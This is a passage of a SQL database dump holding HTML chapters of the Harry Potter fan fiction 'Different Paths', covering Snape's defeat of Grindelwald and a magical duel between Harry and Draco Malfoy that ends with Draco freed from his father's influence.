bottle containing a pure black potion and tossed it right in front of himself.&nbsp; Making a stabbing motion with his right hand, Snape thrust his wand into the bottle, causing it to shatter while at the same sending a burst of magical energy through his wand right into the now released potion.</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald never knew what had hit him until it was too late.&nbsp; The black potion suddenly formed into a single, exceedingly sharp black blade that stabbed Grindelwald in the chest.&nbsp; Furthermore, the force of the blade was enough to fly Grindelwald across the room and impale him on the wall, some 5 feet over the floor.</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald gasped and coughed up blood.&nbsp; He tried to catch his breath but realized it was futile as he felt his own life drain away, along with his blood.&nbsp; But he still managed to speak, &#8220;That...that...that was...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My secret weapon,&#8221; said Snape.&nbsp; &#8220;A potion I invented myself.&nbsp; I haven&#8217;t thought up any name for it so just call it a Harpoon Potion for now.&nbsp; A burst of well calculated magic into the potion forms it into a powerful harpoon, powerful enough to slay even the most vilest dragons.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald coughed up more blood.&nbsp; &#8220;Tell...me...What is...the name...of the one whom has slain...me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Severus Snape.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And...are you truly cont...content...Severus Snape?&nbsp; As a Death...Eater...you would&#8217;ve done...great things...Yet you betrayed them...joined the other...side.&nbsp; You...appear to...have a certain...affinity to the ...Dark Side...yet you fight for the light...why?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;An interesting question,&#8221; said Snape.&nbsp; &#8220;One that I have pondered long over myself.&nbsp; As a child, I was fascinated with the Dark Arts, even to the point where I joined the Death Eaters.&nbsp; Even after leaving them, I coveted the Defense Against the Dark Arts position for years.&nbsp; So, why you ask?&nbsp; Well, lets just say that eventually I realized the my one true passion was, is, and always will be potions.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hearing Snape&#8217;s words, Grindelwald laughed one final time.&nbsp; And with that last laugh, he drew his last breath and perished.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ashes to ashes.&nbsp; Dust to dust,&#8221; muttered Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;OK lady!&nbsp; How much longer?&#8221; demanded Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin glared at Sirius and snapped, &#8220;Not too farther and put me down!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No can do, faster this way.&nbsp; Isn&#8217;t that right Harry?&nbsp; Harry?&#8221;&nbsp; It was only then that Sirius realized that Harry was no longer behind him.&nbsp; Stopping and looking behind, Sirius noticed that Harry had stopped in front of a large wooden door.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, what&#8217;s wrong?&#8221; asked Sirius, putting down Yasmin and walking up to his godson.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s here,&#8221; said Harry.&nbsp; &#8220;He&#8217;s in here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin starred at the door.&nbsp; &#8220;That is Horace&#8217;s room.&nbsp; He is with our Lord right now, that room is empty.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No it&#8217;s not,&#8221; said Harry.&nbsp; &#8220;Someone&#8217;s in here and I know who it is.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius looked perplexed.&nbsp; &#8220;Who?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco Malfoy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N Ack!&nbsp; I took way to long to update this fic again.&nbsp; I&#8217;ve got to churn out these chapters faster, especially now that June 21<sup>st</sup> is creeping up.&nbsp; Next: the long awaited Harry vs. Draco duel!</p>\n\n '),
	(33, 18, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<title>Title: Different Paths (17)</title>\n\n<style>\n\n</style>\n\n\n\n<p><b>Title:</b> Different Paths (17)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:</b> Here it is!&nbsp; The chapter you&#8217;ve all been waiting for!&nbsp; Harry Potter vs. Draco Malfoy!&nbsp; Come on HP fans, you knew it was coming.&nbsp; There&#8217;s got to be some kind of confrontation coming up and this is how it works out in this fanfiction.&nbsp; Trust me, it was worth the wait.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 18: Harry vs. Draco</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco Malfoy?&#8221; said Sirius.&nbsp; &#8220;You sure?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Positive,&#8221; said Harry.&nbsp; &#8220;There is no way I&#8217;d mistake this feeling.&nbsp; I&#8217;ve known him far too long.&#8221;&nbsp; He took a step toward the doors.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you sure you want this?&#8221; asked Sirius.&nbsp; &#8220;You know time is a bit of an issue, the longer it takes, the more danger those at the Leaky Cauldron are going to be.&nbsp; If you square off against Draco Malfoy right now, it&#8217;s only going to eat up more time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I made a promise, Sirius,&#8221; replied Harry.&nbsp; &#8220;I promised Ginny that I would bring Malfoy back to her.&nbsp; If I let this opportunity pass, I may never get the chance to fulfill that promise again.&#8221;&nbsp; So saying, he opened the door and stepped through.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius shrugged and turned to Yasmin.&nbsp; &#8220;So he says.&nbsp; Sorry lady, but we&#8217;re going to take a bit of a detour here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmph, as if I care,&#8221; sneered Yasmin.&nbsp; She followed Sirius into the room.&nbsp; However, as she soon as she had closed the door behind them, Yasmin scrambled up to the second floor landing, where several small gray owls were perched, hidden away from the wizards.</p>\n\n<p>&nbsp;</p>\n\n<p>Horace&#8217;s room was a library.&nbsp; Practically every open space in the room was covered by tens upon tens of bookshelves, leaving only small corridors between them for walking through.&nbsp; <i>&#8216;Hermione would&#8217;ve loved to see this room,&#8217; </i>thought Harry.&nbsp; <i>&#8216;It&#8217;s got nearly as many books as the Hogwarts library.&#8217;</i>&nbsp; Unlike the Hogwarts library however, there was very little light in the room, more like the restricted section at Hogwarts.&nbsp; And there, standing at the other end of the room, surrounded by bookshelves, stood Draco Malfoy, his wand drawn.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So you have finally come,&#8221; said Draco.&nbsp; &#8220;I have waited long for this day.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Pity, I wish I could say the same,&#8221; replied Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh?&#8221;&nbsp; Draco raised an eyebrow.&nbsp; &#8220;Well I am sorry to have been a disappointment then.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, don&#8217;t get me wrong,&#8221; said Harry.&nbsp; &#8220;I&#8217;ve wanted to finish things off with Draco Malfoy for quite some time myself.&nbsp; However, the one I wanted finish off with was &#8216;Draco Malfoy&#8217;, not this Dark Side riddled husk before me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Dark side riddled husk?&#8221; said Draco.&nbsp; &#8220;Big words Potter, but that&#8217;s not going to stop me from finishing you off.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Big deal,&#8221; said Harry.&nbsp; &#8220;In your present state I could beat you without using any magic!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then lets see how well you hold out to that boast!&#8221; said Draco.&nbsp; Having said, that he fired a curse straight at Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>A small gray owl flew into the room and onto Horace&#8217;s arm.&nbsp; He removed the small note from the owl&#8217;s leg and read it.&nbsp; &#8220;It&#8217;s from Yasmin,&#8221; he said.&nbsp; &#8220;It&#8217;s an update on what&#8217;s happening right now.&nbsp; Grindelwald and Snape are currently engaged in a duel while Potter and Draco Malfoy seem to be facing off in my room.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort looked mildly interested.&nbsp; &#8220;Oh is that so?&#8221;&nbsp;&nbsp; He turned to Seth and said, &#8220;Well Seth, Potter and Young Malfoy&#8217;s duel will probably drag out for a while so you should probably take this time to prepare for your duel.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why do you assume that the duel will drag out?&#8221; asked Seth.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A matter of perspective,&#8221; said Voldemort.&nbsp; &#8220;Potter has superior magical power to Young Malfoy, but Young Malfoy is willing to use more of his power.&nbsp; This generally places the two of them on an equal footing.&nbsp; In a duel between equals, the duel usually tends to drag out.&#8221;&nbsp; The Dark Lord chuckled.&nbsp; &#8220;In fact, it may ultimately play out to our advantage.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why is that, Mr. Vodemort?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s highly unlikely that either Potter or Malfoy will come out of their duel unscathed.&nbsp; That will make it easier you for you when you face him since Potter won&#8217;t be at his full health any longer.&nbsp; In the unlikely event that he actually manages to get through you, I still have enough faith in your abilities to have sufficiently worn Potter down.&nbsp; Furthermore, while I believe that Snape will end up defeating Grindelwald, Grindelwald is bound to have down some serious damage to him, further enlarging my own odds.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That is all good Mr. Voldemort,&#8221; said Seth.&nbsp; &#8220;But what about in the event that Mr. Malfoy defeats Mr. Potter?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort laughed.&nbsp; &#8220;Well if that happens, I&#8217;ll just kill Draco Malfoy and claim the title of &#8220;Most Powerful Wizard&#8221; for myself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>As Draco&#8217;s curse came flying toward him, Harry swept some books off of the bookshelf next to him, causing them to fly around all over him.&nbsp; The books served as an effective barrier for the curse, causing it to ricochet around, completely missing Harry.&nbsp; Draco tried to close in Harry, but Harry threw more books at him, managing to distract Draco.&nbsp; In the meantime, Harry managed to maneuver his way behind a bookshelf.&nbsp; With one mighty shove, Harry pushed the bookshelf over, causing it to come crashing down on Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What the?&#8221; Draco didn&#8217;t have time to react as the books and bookshelf came crashing down on him, completely burying him in rubble of paper and wood.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There you go, piece of cake,&#8221; said Harry.&nbsp; However, he was soon taken aback when the rubble suddenly burst forth in a blaze of green magic.&nbsp; Harry hurriedly threw another bookshelf down onto Draco but Draco spun around shouting, <i>&#8220;Cyclonus Diffendo-Hex!&#8221;</i> and slashed right through the bookshelf.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry barely managed to dodge out of the way as Draco yelled, <i>&#8220;Magicus Ensis!&#8221;</i> and slashed at him with his blue magical blade.&nbsp; Draco continued slashing at Harry, backing him up into a corner.&nbsp; Finally, Harry had no choice but to shout, <i>&#8220;Magicus Ensis!&#8221;</i> and block Draco&#8217;s blue blade with his own green one.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;Good Lord,&#8217;</i> thought Sirius. <i>&#8216;He <b>forced</b> Harry to use magic.&nbsp; He made Harry eat on his own words: &#8220;In your present state I could beat you without using any magic&#8221;.&nbsp; If Harry had been the challenger rather than the challenged, he would&#8217;ve lost his magical powers for breaking a Fundamental Rule!&#8217;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>Harry was thinking something along the same lines.&nbsp; <i>&#8216;He&#8217;s even more powerful than I thought.&nbsp; This could be a bit of a problem.&#8217;</i>&nbsp; Undaunted, Harry beat Draco back with a quick kick to his stomach.&nbsp; He quickly readied and his wand and yelled, <i>&#8220;Expelliarmus!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Draco easily blocked Harry&#8217;s disarmer and chanted, <i>&#8220;Praestigae Multiplico,&#8221;</i> creating several illusionary Dracos that quickly surrounded Harry.&nbsp; Thinking quickly, Harry leviatated the many books around him, and flew them at the various Dracos.&nbsp; One of the books hit one of the Dracos on his face, and Harry charged straight at him brandishing his magical blade, only to realize to his horror that the &#8220;Draco&#8221; was another illusion.&nbsp; He barely managed to spin around and block the real Draco&#8217;s blade.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just how much power did you use to actually make one of your illusions solid?&#8221; hissed Harry.&nbsp; &#8220;Just how powerful are you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco didn&#8217;t answer.&nbsp; Instead, he chanted the words, <i>&#8220;Draco Incendio!&#8221;</i>&nbsp; A dragon of flame burst forth from Draco&#8217;s wand, and blasted Harry into the wall.&nbsp; Grimacing in pain, Harry barely managed to gain the necessary focus to dodge another curse fired at him.&nbsp; Before he had the chance to scramble to his feet, Draco was standing over him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re holding back,&#8221; Draco said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I said, you&#8217;re holding back.&nbsp; You clearly have no intention of killing me, how do you expect to fight at your full power if you don&#8217;t intend to kill me?&nbsp; Are you mocking me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mo...mocking you?&#8221; Harry sounded incredulous.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco seemed to be seething behind his emotionless fa&#231;ade.&nbsp; &#8220;I have spent months training myself, driving myself to the very brink of death for this day.&nbsp; I have come to the very edge death far too many times than I can count so that I could be powerful enough to final beat you?&nbsp; And when the time comes, this is what I get?&nbsp; If this is your best, you&#8217;re a complete disappointment Potter.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry glared at Draco.&nbsp; Angrily, he swiped away some blood on his lip with his thumb and said, &#8220;You&#8217;re not the only who nearly trained themselves to death.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do you have any idea what I&#8217;ve been doing these past few days?&#8221; replied Harry, standing up once again.&nbsp; &#8220;I&#8217;ve been training with Dumbledore, nearly to death as well.&nbsp; In fact, I was just about prepared give my life up if not for a valuable lesson I learned that day.&nbsp; Still, in the end it all became worth it when I managed to master the Dark Magic Cleanser.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius suddenly spoke up, &#8220;Hey wait a minute Harry!&nbsp; You never said a word to me about training or the Dark Magic Cleanser!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry grinned sheepishly.&nbsp; &#8220;Sorry Sirius.&nbsp; It just slipped my mind.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius laughed.&nbsp; &#8220;No harm done.&nbsp; I guess for compensation, I&#8217;ll just be the first one to see this Dark Magic Cleanser of yours, before even Ron or Hermione do.&#8221;&nbsp; Harry nodded and turned his attention back to Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re bluffing,&#8221; sneered Draco, though he appeared to be unsure.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;OK then,&#8221; said Harry.&nbsp; &#8220;If that&#8217;s what you claim, then I&#8217;ll use my full power now. But without killing you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re bluffing again!&nbsp; There is no way you could use your full power without killing!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Care to find out?&#8221; said Harry, raising his wand toward Draco.&nbsp; For about a full minute, the two duelers simply glared at each other.</p>\n\n<p>&nbsp;</p>\n\n<p>Finally Sirius spoke, &#8220;As the Americans would say, the ball&#8217;s in your court now Draco Malfoy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; Draco cast a quick glance to Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I said it&#8217;s up to you now,&#8221; said Sirius.&nbsp; &#8220;You clearly appear to have been thrown for a loop by Harry&#8217;s claim, even suggesting that he was bluffing.&nbsp; Therefore, it&#8217;s now solely up to you to continue this duel or not.&nbsp; However, need I remind you that in this duel, you are clearly the &#8216;challenger&#8217; while Harry is the &#8216;challenged&#8217;.&nbsp; Harry hasn&#8217;t specifically stated that you can&#8217;t forfeit a duel so forfeiting wouldn&#8217;t necessitate a breaking of the Fundamental Rules of Wizard Dueling, meaning you&#8217;ll keep your powers intact.&nbsp; However, because you are the &#8216;challenger&#8217; in this duel, forfeiting will automatically make you the &#8216;loser&#8217; and Harry the &#8216;victor&#8217;.&nbsp; A dispute between wizard duelers can only be solved in a wizard duel.&nbsp; Since you are the &#8216;challenger&#8217;, you are obliged to see the duel through.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I made a promise to the other Slytherins,&#8221; said Draco, &#8220;that I would defeat Potter and become the most powerful of wizards.&nbsp; I&#8217;m not about to back out of that promise now.&nbsp; <i>Praestigae Multiplico!</i>&#8221;&nbsp; Draco once again separated into several illusionary &#8220;Dracos&#8221;.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh no, not this time,&#8221; said Harry. <i>&#8220;Maximus Reducto!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;&nbsp; Draco was caught unprepared as Harry created a large explosion that blasted away several bookshelves, the illusionary &#8220;Dracos&#8221;, and the real Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco managed to regain his footing and shout, <i>&#8220;Draco Incendio!&#8221;</i> blasting another fiery dragon toward Harry.&nbsp; Harry however suddenly disappeared and reappeared in the air right behind Draco.&nbsp; This time, it was a startled Draco who barely had enough to time to spin and block Harry&#8217;s magical blade with his own.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Short distance apparating,&#8221; said Harry.&nbsp; &#8220;I only just learned how to do it the other day.&nbsp; Can&#8217;t exactly do long distances yet though.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So you weren&#8217;t bluffing,&#8221; sneered Draco.&nbsp; &#8220;This is a taste of your full power!&nbsp; Damn it!&nbsp; You really are the most powerful of wizards.&nbsp; But no matter, I made a promise to my deceased friends, the Slytherins that I would defeat you and become the most powerful of wizards!&nbsp; I am not about to back out on that promise now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gave Draco a searching look.&nbsp; &#8220;Tell me Malfoy, who did you <i>really </i>make that promise to?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco blinked.&nbsp; &#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I said...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know what you said, Potter!&nbsp; And how absurd, I just told you that I made that promise to the long gone Slytherins!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you sure?&#8221; said Harry with a piercing look.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco was about to retort when suddenly, a long forgotten memory surfaced in his mind:</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Listen to me Draco. You are my son, my heir, a Slytherin all the way.&nbsp; I expect you to live up to those standards some day.&nbsp; I expect you to make me proud!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Yes father.&nbsp; I promise you that I will make you proud someday.&nbsp; I promise you that I will become the most powerful of wizards, more powerful than Harry Potter.&nbsp; I promise you that I will live up to the Malfoy name.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Draco blanched and his face became deathly pale as his emotionless fa&#231;ade quickly faded away.&nbsp; &#8220;No.&nbsp; No!&nbsp; NO!&nbsp; NO!!!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So it&#8217;s true then,&#8221; said Harry.&nbsp; &#8220;Your &#8216;promise&#8217; to your former classmates was nothing more than a reiteration of your promise to your father.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shut up!&nbsp; Shut up!&#8221;&nbsp; Draco swung his magical blade around and Harry managed to deflect all of the blows.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re pathetic, Malfoy!&#8221; hissed Harry.&nbsp; &#8220;You may have grown immensely powerful these last two years, but underneath it all you&#8217;re still Lucius Malfoy&#8217;s son...no, heir!&nbsp; You just can&#8217;t escape his shadow!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;SHUT UP!!!&#8221; Draco had now forgotten about magic and smashed his fist straight into Harry&#8217;s jaw.&nbsp; Harry reeled back a little but he was far from over.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No damage done, daddy&#8217;s boy!&nbsp; Come on, that the best you can do?&#8221;&nbsp; Draco roared and started firing random curses at Harry, none of which hit him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ll say it again!&nbsp; The one I wanted finish off with was &#8216;Draco Malfoy&#8217;, not this Dark Side riddled husk that happens to be the heir of Lucius Malfoy, before me!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius flinched.&nbsp; He could tell that Harry absolutely hated himself for constantly ribbing Draco the way he was, but he also didn&#8217;t have a choice.&nbsp; As far as Harry was concerned, the only way he could save Draco was if he could force Draco to examine his own psyche.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Aaaarrrrggghhhhh!!!!!!!&#8221;&nbsp; Draco was now going nearly berserk as he fired curse after curse toward Harry.&nbsp; Harry constantly dodged the curses with ease.</p>\n\n<p>&nbsp;</p>\n\n<p>Finally, Harry decided he had enough.&nbsp; He raised his wand and shouted, <i>&#8220;Multiplicus Diffendo!&#8221;</i>&nbsp; Multiple magical blades shot out of Harry&#8217;s wand toward Draco.&nbsp; None of them seriously cut into Draco but they slashed at him enough to halt his rampage.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco was completely wheezing now, &#8220;Why...why are you doing this to me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Because I promised Ginny that I would bring you back to her,&#8221; replied Harry.&nbsp; &#8220;You know she misses you very much.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco hesitated for a split second.&nbsp; &#8220;She...she&#8217;s a strong girl.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She&#8217;s also still only 16 years old.&nbsp; I know that&#8217;s only a year younger than us but if you factor in the fact she&#8217;s the youngest and only girl in a large family, she&#8217;s still very much a child.&nbsp; When Remus suggested that I kill you, she burst into tears.&nbsp; Tears for you!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco was now on his knees, clutching his head in his hands.&nbsp; &#8220;Remus...alive...I thought...I killed...him...Ginny...Ginny...crying.&#8221;&nbsp; Suddenly that voice was back:</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Listen to me Draco. You are my son, my heir, a Slytherin all the way.&nbsp; I expect you to live up to those standards some day.&nbsp; I expect you to make me proud!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No!&#8221; yelled Draco, shaking his head.&nbsp; &#8220;NO!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;You are my son, my heir, I expect you to make me proud!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>&#8220;Nooooo!&nbsp; Get out!&nbsp; Get out of my head!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;You are my son, my heir...&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;GET OUT!&nbsp; GET OUT!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;You are my son, my heir...&#8221; &#8220;Draco...&#8221;</i> Slowly, Lucius&#8217;s voice was being drowned out by Ginny&#8217;s.&nbsp; Still, Lucius refused to go.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;You are my son, my heir...&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;NO!!!&nbsp; YOU&#8217;RE DEAD!!!!&nbsp; YOU HAVE NO MORE HOLD OVER ME!!!!&nbsp; GET OUT OF MY HEAD, LUCIUS MALFOY!!!!&#8221; Draco screamed at the top of his lungs.&nbsp; Slowly, ever so slowly, Lucius&#8217;s voice faded away.&nbsp; What replaced it was the sweet yet feisty voice of a young red haired girl.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco took a few calming breaths.&nbsp; &#8220;Ginny...Oh Ginny, I&#8217;m so sorry.&#8221;&nbsp; Then, Draco once again stood up, his gray eyes now shining with a new blue light.&nbsp; &#8220;Harry Potter, we have a score to settle.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry smiled.&nbsp; &#8220;Looks like I have the privilege of being the first to ever face the real Draco Malfoy.&#8221;&nbsp; Then, he readied his wand, as did Draco.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;OK, now starts the real duel,&#8217;</i> thought Sirius.<i>&nbsp; &#8216;And it&#8217;s all probably going to boil down to one final spell.&nbsp; Young Malfoy is probably going to use that spell his father used to use, that &#8216;Cyclonus Diffendo&#8217; thing.&nbsp; The spell Draco here used to take out Remus.&nbsp; Harry on the other hand is clearly going to use the Dark Magic Cleanser, a spell that&#8217;s completely shrouded in absolute mystery.&nbsp; In this situation Harry is in the clear advantage, so what&#8217;s Draco going to do?&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>The answer soon became quite evident.&nbsp; To counter the complete mystery that was Harry&#8217;s spell, Draco yelled, <i>&#8220;Praestigae Multiplico!&#8221;</i> creating multiple illusions of himself that struck first.&nbsp; As the illusions closed in, Harry was already mapping out the constellation Leo with his wand.</p>\n\n<p>&nbsp;</p>\n\n<p>Admists this final strike in the duel, Sirius barely heard the scratching of a quill on parchment.&nbsp; Turning around, he was horrified to see Yasmin, standing next to several small owls, carefully writing down every detail of the duel.&nbsp; &#8220;Harry!&#8221; yelled Sirius.&nbsp; &#8220;This duel is being monitored!&nbsp; Don&#8217;t use the Dark Magic Cleanser!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Cyclonus Diffendo-Hex!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Astra Patronum Leo!&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Fired at point blank range, the shining lion from Harry&#8217;s wand immediately burst through Draco&#8217;s curse and smashed into Draco&#8217;s body.&nbsp; Draco screamed as his body was thrown in the air, every hint of Dark Magic literally ripped out of his body and instantly disposed.&nbsp; He fell on the floor with a thud, his body completely battered.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My Lord, we&#8217;ve just received another owl from Yasmin,&#8221; said Horace.&nbsp; He hurriedly removed the small note from the owl and started reading.&nbsp; &#8220;It appears Potter has managed to master the Dark Magic Cleanser!&nbsp; But no worries my Lord, Yasmin has seen the spell quite clearly, she is bound to have described how it works...ah, here we go.&nbsp; &#8216;The Dark Magic Cleanser was...&#8217;&#8221; Horace turned over the note and blanched, &#8220;&#8216;too fast, couldn&#8217;t see 